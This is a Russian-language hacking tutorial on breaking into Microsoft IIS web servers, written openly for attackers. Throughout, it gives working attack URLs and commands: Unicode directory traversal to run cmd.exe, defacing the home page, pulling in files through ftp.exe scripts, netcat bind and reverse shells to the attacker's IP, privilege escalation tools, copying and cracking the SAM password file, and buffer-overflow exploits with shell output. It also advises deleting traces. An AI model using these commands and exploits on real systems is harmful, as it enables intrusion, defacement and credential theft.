ПОЛНОЕ РУКОВОДСТВО ПО ВЗЛОМУ IIS СЕРВЕРА
В этой статье мы попытаемся осветить основные уязвимости дырявых M$ серверов и методы их взлома.
Как и в предыдущей статье постараемся давать поменьше теории.
Собственно, начнем с тех самых уязвимостей, получивших в массах общее название "юникод-баг".
ЧАСТЬ 1. UNICODE BUG
Обход каталогов. Иногда неверно настроенный веб-сервер (например, тот же апач) позволяет выходить за каталог веб-сервера:
http://www.victim.com/../../
Но не все так просто. В IIS это дело пресекается. Пресекается, но не совсем. Хакер RFP (Rain Forest Puppy) обнаружил, что если символы / и передать в кодировке юникод, то сервер их пропускает, потому что проверка Unicode выполняется после, а не до проверки пути. Как перекодировать? Самый простой пример для наглядности:
= %5с
После того, как эту уязвимость вроде как прикрыли, было обнаружено, что можно еще раз закодировать, и это опять пройдет:
% в кодировке юникод соответствует %25
Теперь %5с можем заменить на %255c. Ну, и таких замен можно делать массу. Поэтому и существует множество разных кодов того, что называют в народе unicod bug (сюда же относят и баг чрезмерного декодирования, который не убирается (!) заплаткой SP2).
А дальше все просто. Через обход каталогов мы выходим на командный интерпретатор cmd.exe и выполняем через него произвольные команды на сервере (например, простейшие команды ДОС: dir - листинг директории, type - вывод содержимого файла, copy - копирование, del - удаление). Например, листинг диска С можно получить запросив подобный URL (будем тренироваться на www.microsoft.net, т.к. microsoft.com, кажется уже давно не на IIS сидит):
http://www.microsoft.net/scripts/..%255c../winnt/system32/cmd.exe?/c+dir+c:
Баг есть. Что дальше?
Самое простое, что обычно хотят сделать - дефейс сайта (о более серьезных вещах поговорим далее).
Итак, что нужно для замены главной страницы?
Первое - узнать где расположена папка веб-сервера. Т.е. где лежат документы сайта и наш желанный index.html (.htm, .php, .asp). Кстати, на IIS обычно это не index, а default (расширения см.выше).
При установленном на сервере PHP можно попытаться сделать запрос к несуществующему скрипту (или иногда результат дает обращение к существующему скрипту с некорректными параметрами), в результате чего возможно нам скжут что-то вроде:
Warning: Failed opening 'C:InetPubwwwroot onexist.php' for inclusion (include_path='c:/temp') in Unknown on line 0,
Самый надежный способ - при помощи команды set.
http://www.microsoft.net/scripts/..%255c../winnt/system32/cmd.exe?/c+set+p
В результате вы получите массу всякой информации, среди которой будет строка PATH_TRANSLATED. Вот тут и указывается путь к веб-сайту. Стандартно это выглядит так:
PATH_TRANSLATED=c:inetpubwwwroot
Кстати, если вам скажут, что unicode bug не работает, если веб-сайт расположен не на системном томе (внимание, админ!), то это ерунда. Да, я понимаю, что логика подсказывает: не может быть. Еще раз повторю: ерунда!.. может. Сам видел. Хакер тем и отличается от обычных людей, что мозги у него немного не так устроены: он не верит устойчивым стереотипам =)
Вернемся к дефейсу. У нас есть одна проблема. Наш cmd.exe не может организовать стандартный вывод через симовл >. Решаем эту проблему: копируем командный интерпретатор с другим именем (имя должно отличаться - пусть это будет хоть cmd1.exe, хоть root.exe (как это делает Nimda), но только не cmd.exe). Куда
копировать? Можно быть уверенным, что у нас есть доступ к корню C:
Копируем:
http://www.microsoft.net/scripts/..%255c../winnt/system32/cmd.exe?/c+copy+c:
winntsystem32cmd.exe+c:cmd1.exe
/часто рекомендуют копировать в каталоги, которые имеют права на исполнение, мол уменьшается сразу путь и т.п. - Лишняя трата времени. Можно замучаться, перепробуя все каталоги, а потом окажется, что ничего не открыто на запись/
Вот, теперь мы можем создавать файлы, а значит, мы не далеки от цели. Ну что, пробуем, можем ли мы дефейсить? Plain-text пойдет?
Тогда делаем так:
http://www.microsoft.net/scripts/..%255c../cmd1.exe?/c+echo+hacked by DEFACED aliance+>c:inetpubwwwrootdefault.htm
ну что, смотрим:
http://www.microsoft.net/
Ничего не получилось? Пробуем, есть ли у нас возможность вообще записывать в wwwroot:
http://www.microsoft.net/scripts/..%255c../cmd1.exe?/c+wcho+hi+>c:inetpubwwwroot1.txt
Смотрим, появился ли наш файл:
http://www.microsoft.net/scripts/..%255c../cmd1.exe+dir+c:inetpubwwwroot
Если ничего не получилось или просто мы хотим чего-то больше нежели дефейс (или красивый дефейс).
Вот тут начинается самое интересное.
Нам надо загрузить файлы на сервер. Это можно сделать несколькими путями. Рассмотрим только самые практичные:
1. Если у нас есть взломанный ftp сервер
Впрочем, не обязательно взломанный. Нам просто нужен ftp сервер, на который мы могли бы закачать файлы, а потом с него их скачать. Большинство бесплатных серверов этого делать не позволяют.
Допустим у нас есть логин и пароль к серверу ftp.bolshevik.com: login: partizan & password: beyfashistov. Давайте закачем на него файл нашего дефейса default.htm. Теперь нам нужно его слить на сервер жертвы.
Сделаем на нашем IIS сервере текстовый файл (допустим, temp.txt) такого содержания:
open ftp.bolshevik.com
user partizan
beyfashistov
get default.htm
bye
Этот файл мы скормим программе ftp.exe в качестве параметра для работы. Все это можно сделать в одном урле:
ftp.bolshevik.com+" target="_blank">http://www.microsoft.net/scripts/..%255c../cmd1.exe+echo+open+ftp.bolshevik.com+>c: emp.txt
&&echo+user+partizan+>>c: emp.txt&&echo+beyfashistov+>>c: emp.txt&&echo+get+default.htm+>>
c: emp.txt&&echo+bye+>>c: emp.txt&&ftp+-s:c: emp.txt
Небольшие пояснения:
А) мы создаем файл c: emp.txt
Б) запускаем ftp.exe с флагом -s, которому передаем как параметр путь к файлу c: emp.txt, из которого фтп должен брать команды для выполнения (можно еще добавить флаги -nd).
В принципе, тут бы сперва поэкспериментировать на своей машине, сработают ли корректно команды для фтп: возможно нужно будет добавить pass перед указанием пароля:
pass beyfashistov
Если все сработало, убираем лишние следы:
cmd1.exe?/c+del+c: emp.txt
Потом копируем наш дефейс в папку wwwroot.
2. Если у нас есть расшаренный ресурс
Я имел в виду, что у нас есть найденный в сети чей-то доступный ресурс (c правами на запись).
Допустим для примера, что найден доступный на запись: 194.168.288.34c
Тогда на сервере IIS даем такую команду:
http://www.microsoft.net/scripts/..%255c../cmd1.exe?/c+net+use+x:+194.168.288.34c
Проверим, виден ли диск: dir+x:
Если все нормально, тогда можем использовать диск Х. Копируем туда, все что нужно…
Итак, дефейс сделан. Теперь удалим лишние следы.
Отсоединяем диски:
http://www.microsoft.net/scripts/..%255c../cmd1.exe?/c+net+use+*+/delete+/yes
3. За нас уже все сделали.
Есть довольно интересные perl сценарии, которые облегчают основную часть работы. Качаем:
http://packetstormsecurity.nl/0101-exploits/unitools.tgz
Нам нужно знать только сам баг и директорию, доступную на запись и выполнение (можно поэкспериментировать с этими:
msadc
scripts
_vti_bin
_vti_cnf
samples
cgi-bin
iisadmpwd
adsamples)
Итак, у нас четыре скрипта:
unicodeloader.pl
upload.asp
upload.inc
unicodexecute3.pl
Первые три должны быть в одной директории. Чуток подправим unicodeloader.pl (добавим наш код бага, если его там нет) и запускаем его (как параметр нужно указать директорию, доступную на запись):
perl unicodeloader.pl www.microsoft.net:80 c:inetpubwwwroot
И смотрим, что нам напишут =). Если все в порядке, то скрипт распишет как он пытается использовать уязвимость, а в конце:
……………………………………………………………
Upload page created.
…
Files will be uploaded to c:inetpubwwwroot
Теперь пробуем открыть созданную страницу:
http://www.microsoft.net/upload.asp
Вот, мы можем свободно загружать на сервер любые файлы через веб-интерфейс.
Что первым делом загрузить? Без раздумий можно сказать: утилиту net cat (nc.exe).
После этого мы используем другой скрипт из комплекта:
perl unicodexecute3.pl www.microsoft.net:80 c:inetpubwwwroot c -l -p 80 -e cmd.exe
Теперь у нас есть нормальный shell. Просто телнетимся на 80-й порт жертвы.
Этот метод очень удобен еще и тогда, когда firewall ограничивает доступ (ни каких ftp, tftp или RCP).
На всякий случай распишим как можно было еще установить обратную связь с помощью netcat. Допустим, мы хотим установить связь по порту 31337. Запускаем на своем компе nc (да, в этом случае с анонимностью будут проблемы =)):
C:>nc -l -p 31337
Затем на сервере устанавливаем связь с нашей машиной (даем только командную строку, как это все запустить на сервере понятно из предыдущего примера):
C:inetpubwwwroot c.exe -v -e cmd.exe наш_IP 31337
Все. У нас опять нормальный шелл...
4. Дефейс не получается. Что делать?
Итак, у нас есть shell. Но мы не можем дефейснуть сайт, потому что админ ограничил наши права.
Что же нам остается сделать, как не самим стать админом?!
РАСШИРЕНИЕ ПРИВЕЛЕГИЙ
Мы работаем в контексте гостевой учетной записи (IUSR_имя_машины или IWAM_имя машины). Для IIS 4 есть утилита hk.exe, которая использует LPC (Local Procedure Call), которая в свою очередь работает в контексте системной учетной записи. С ее помощью можно выполнять любые команды, в т.ч. и добавить себя в группу администраторов (я уже не говорю о дефейсе):
hk.exe net localgroup administrators IUSR_имя_машины /add
(возможно и так: hk.exe net localgroup administrators /add IUSR_имя_машины)
Качаем ее отсюда: http://packetstormsecurity.nl/0101-exploits/hk-0.1.zip
Для IIS 5 эта штука не годится. Для win2k нужно брать iis5crack.dll, которая использует функцию RevertToSelf (эта функция может приводить к выполнению команд в контексте системной учетной записи, запрашивая текущий поток перейти из IUSR в SYSTEM). Достаточно ее загрузить на сервер с именем одной из dll'ок, которым разрешена эта функция:
idq.dll
httpext.dll
httpodbc.dll
ssinc.dll
msw3prt.dll
author.dll
admin.dll
shtml.dll
Затем запускаем ее в окне броузера и можем опять-таки выполнять команды с правами system…
Найти исходники и готовую dll можно здесь: http://www.digitaloffense.net/iiscrack/
Есть еще одна очень интересная программка, которая использует те же dll. Это
iscp. Что бы получить административный доступ к серверу с ее помощью, нужно скопировать, скажем idq.dll, в каталог, например scripts. После этого:
C:>iscp www.microsoft.net/scripts/ idq.dll 80
Далее нужно будет пару раз нажать ENTER, когда нас попросят. Вот мы и стали админом =)
В принципе, мы забыли сказать еще об одном стандартном приеме получения привелегий. Скорее всего, это первое, что нужно было
бы проверить на дырявом сервере. Файл паролей НТ - sam. Иногда его можно скопировать в веб папку и потом скачать. Вернее, скопировать можно не его самого, а системный бекап, хранящийся в папке winnt/repair. Для НТ 4 это sam._, а для win2k просто sam. Пробуем скопировать:
http://www.microsoft.net/scripts/..%255c../cmd1.exe?/c+copy+c:winnt epairsam+c:winntwwwroot
Затем просто скачиваем его:
http://www.microsoft.net/sam
и расшифровываем при помощи LC (L0phtCrack).
ЧАСТЬ 2. ПАРА СТАРЫХ УЯЗВИМОСТЕЙ.
Одна из нашумевших в свое время уязвимостей - IDQ .Printer Overflow, использовавшаяся червем codered. Суть найденной eEye Digital Security уязвимости заключается в переполнении буфера в фильтре ISAPI при передаче в HTTP запросе к файлу с расширением .printer более 420 символов в поле HOST. Самое интересное, что необязательно делать запрос к реальносуществующему файлу. В протоколе интернет печати (IPP), отвечающая за это dll, вызывает до проверки существования файла.
GET /NULL.printer HTTP/1.0
HOST: [420 символов]
Такой запрос при нормальных условиях подвесит IIS, но win2k автоматом ее перезапускает, т.ч. для пользователя визуально ничего не будет заметно (если только хакер не добивается отказа в обслуживании).
Эксплоит, написанный eEye компилится с ошибками (вот скомпиленный: http://packetstormsecurity.nl/9906-exploits/iishack.exe). Первый реальный эксплоит под nix назывался jill, который используя переполнение буфера в IPP, создает обратный шелл на адрес хакера в контексе записи SYSTEM.
Работает это все так:
nc -vv -l -p 31337
listening on [any] 31337 ...
Теперь запускаем jill:
jill IP_адрес_жертвы 80 наш_IP 31337
iis5 spyrit / beavuh labs.
Connecting...
Sent...
Если все прошло нормально, получаем у себя в окне nc:
listening on [any] 31337
connect to [наш_IP] from MICROSOFTIISHACKED [IP_адрес_жертвы] 1117
[жмем ENTER]
Microsoft Windows 2000 [Version 5.0.0.2195]
c Copyright 1985-1999 Microsoft Corp.
C:>
Иногда прийдется лишний раз нажимать ENTER - это нормально.
Под win32 этот эксплоит был портирован с именем juill-win32. Позже в сети появилась модифицированная версия iis5hack и iishack2000 (под win32):
http://packetstormsecurity.nl/0105-exploits/iishack2000.c.
Серия уязвимостей в ISAPI DLL, раскрывающих исходный код.
Классическая уязвимость +.htr, работающая как на IIS 4, так и на IIS 5. Добавление +.htr к файлу показывает его исходный код, даже если файл исполняемый (скрипт .asp, .php И т.п.). Например, можно вызвать файл global.asa, который никогда не передается клиенту:
GET /site1/global.asa+.htr HTTP/1.0
[CRLF]
[CRLF]
Через netcat, подключенную к уязвимому серверу, результат будет такой:
C:> nc -vv www.victim.com 80 www.victim.com [10.15.1.10] 80 (http) open
HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Thu, 25 Jan 2001 00:50:17 GMT
("Profiles_ConnectString") = "DSN=profiles;UID=Company_user;Password=secret"
("DB_ConnectString") = "DSN=db;UID=Company_user;Password=secret"
("PHFConnectionString") = "DSN=phf;UID=sa;PWD="
("SiteSearchConnectionString") = "DSN=SiteSearch;UID=Company_user;PWD=simple"
("ConnectionString") = "DSN=Company;UID=Company_user;PWD=guessme"
("eMail_pwd") = "sendaemon"
("LDAPServer") = "LDAP://directory.company.com:389"
("LDAPUserID") = "cn=Directory Admin"
("LDAPPwd") = "slapdme"
Как видите, из этого файла можно многое почерпнуть =)
HTR Chunked Encoding Buffer overflow
Не очень старая уязвимость. Эксплоит называется HTR_Exploit.pl (или iischeck.pl). Работает даже под IIS 5.1 (Win XP Pro). Пока это только доказательство концепции.
:: БЕГЛЫЕ ЗАМЕЧАНИЯ ::
Мы не касаемся некоторых уязвимостей как .ida, .idq, .htw и проч.
Вот пара эксплоитов для полноты картины:
http://packetstorm.linuxsecurity.com/0001-exploits/iiscat.c
http://www.digitaloffense.net/ida_overflow.pl
Если передать shtml.exe в качестве параметра несуществующее имя файла, узнаем путь к wwwroot:
http://207.69.190.42/_vti_bin/shtml.exe/postinfo1.html
Cannot open "d:inetpubwwwrootpostinfo1.html": no such
file or folder.
В IIS 4 при подстановке ::$DATA после имени .asp файла получим его исходный код.
Можно зааплодить троян на IIS 4 без SP6:
http://packetstorm.linuxsecurity.com/trojans/Hackyou.tgz
ЧАСТЬ 3. УЯЗВИМОСТЬ IIS WebDAV NTDLL.DLL
И вот, новые уязвимости прогремели с шумом по сети.
переполнение буфера в протоколе webdav под IIS позволяет выполнять произвольный код в контексте учетной записи SYSTEM.
Утилита для проверки сервера на эту уязвимость:
http://packetstormsecurity.nl/NT/audit/PTwebdav.zip
Первый эксплоит сделал kralor [Crpt]. Он открывает обратную связь, используя netcat.
http://www.gipshack.ru/expl/wbr.c
Сперва запускаем nc:
nc -L -vv -p 31337
Затем запускаем эксплоит:
wbr адрес_жертвы наш_ip 31337 0
После этого появился более продвинутый эксплоит от www.rs-labs.com:
http://www.rs-labs.com/exploitsntools/rs_iis.c
Работает так:
$ gcc -o rs_iis rs_iis.c
$ ./rs_iis microsoft.net
[*] Resolving hostname ...
[*] Attacking port 80 at roman (EIP = 0x00480004)...
[*] Now open another console/shell and try to connect
(telnet) to victim port 31337...
$ telnet roman 31337
Trying 192.255.255.1 ...
Connected to microsoft.net.
Escape character is '^]'.
Microsoft Windows 2000 [Version 5.00.2195]
(C) Copyright 1985-2000 Microsoft Corp.
C:WINNTsystem32>
Авторы xSpider сканера сделали эксплоит с графическим интерфейсом под win32:
http://www.ptsecurity.ru/tools/PTwebdav.zip
И, кажется, самый свежий на момент написания статьи - от Xnuxer Lab.
Сплоит примечателен тем, что не требует дополнительных средств типа netcat.
Код см.здесь: http://gipshack.ru/expl/webdav3.html
ДРУГИЕ ЭКСПЛОИТЫ:
http://www.digitaloffense.net/webdav_ex.pl
Использование:
webdav_ex.pl -h -p -H -P -R
http://gipshack.ru/expl/iiswebdav.txt
Эксплоит от Alumni. Биндит шелл на порту 32768.
Под линукс:
http://packetstormsecurity.nl/0306-exploits/linux-wb.c
Все основные эксплоиты можно найти здесь:
http://gipshack.ru/search/?query=webdav
Источник: неизвестен